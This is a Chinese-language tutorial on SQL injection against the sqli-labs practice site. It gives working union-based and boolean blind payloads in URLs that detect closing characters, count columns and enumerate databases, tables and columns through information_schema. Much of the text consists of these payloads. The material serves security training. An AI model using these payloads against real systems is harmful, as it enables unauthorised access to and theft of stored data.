SQL注入--联合查询+布尔盲注
一. 联合查询
通过F12查看真实请求,找到注入点
判断后台查询语句中接收的参数的类型,并确定字符型参数的闭合符
(1) 如果可以运算,即为数字型
如输入以下语句,判断与直接输入id=1结果是否相同,判断是否可以运算。
http://192.168.43.129/sqli-labs/Less-1/?id=2-1
(2) 如果不能运算,则为字符型。
此时需要确定闭合符,并在后续需要在每一个sql语句最后加上%23(#)用于注释掉原来的闭合符。
首先尝试输入'或“,
http://192.168.43.129/sqli-labs/Less-1/?id=2'
如果有报错信息,就查看输入的字符后面的字符串,即为闭合符。
用order by判断字段数
order by后面的参数为用于排序的列号,也就是说在该参数小于字段数时,前端能够拉到数据;大于字段数时,前端将会收到报错。因此通过二分法逼近字段数,并观察前端的显示,在最后得到结果,如:
http://192.168.43.129/sqli-labs/Less-1/?id=1' order by 5#
将查询的id值设为无对应记录的值,开始使用union联合查询
information_schema是mysql自带一个数据库,它提供的元数据(即数据库、表、列等信息)的访问方式。
(1) 任意输入联合查询判断显示位。如:
http://192.168.43.129/sqli-labs/Less-1/?id=-1‘ union select 1,2,3#
根据1,2,3中被前端显示的数字就能判断显示位。
(2) 用database()查询库名
http://192.168.43.129/sqli-labs/Less-1/?id=-1‘ union select 1,database(),3#
(3) 在information_schema .tables查询表名
http://192.168.43.129/sqli-labs/Less-1/?id=-1‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = databaseName#
(4) 在information_schema .columns查询字段名
http://192.168.43.129/sqli-labs/Less-1/?id=-1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = databaseName and table_name = tableName#
(5) 根据查到的表名和字段名查询信息
http://192.168.43.129/sqli-labs/Less-1/?id=-1‘ union select 1,group_concat(col1),group_concat(col2) from tableName#
二. 布尔盲注
判断后台查询语句中接收的参数的类型,并确定字符型参数的闭合符
前面和上面一致,闭合符判断的方法稍有不同。首先尝试用’和”闭合,如果前端没有显示证明报错了,也就是说闭合符中含有该符号;如果显示了,证明没有报错,也就是闭合符中不含该符号。然后在报错的语句后面加上#,尝试,有显示证明该符号就是闭合符,没显示就在该符号后面逐个添加圆括号,直到不报错。
如:
http://192.168.43.129/sqli-labs/Less-8/?id=2'#
http://192.168.43.129/sqli-labs/Less-8/?id=2')#
布尔盲注
构造布尔条件,用and与原本在前端有显示的查询语句连接,有显示,该条件为真;无显示,该条件为假。以此用二分法逼近字符串的长度和字符的ascii码,从而得出库名、表名等一系列信息。
如:
http://192.168.43.129/sqli-labs/Less-8/?id=2' and length(database())>8#
http://192.168.43.129/sqli-labs/Less-8/?id=2' and ascii(substring(database(),2,1))>101#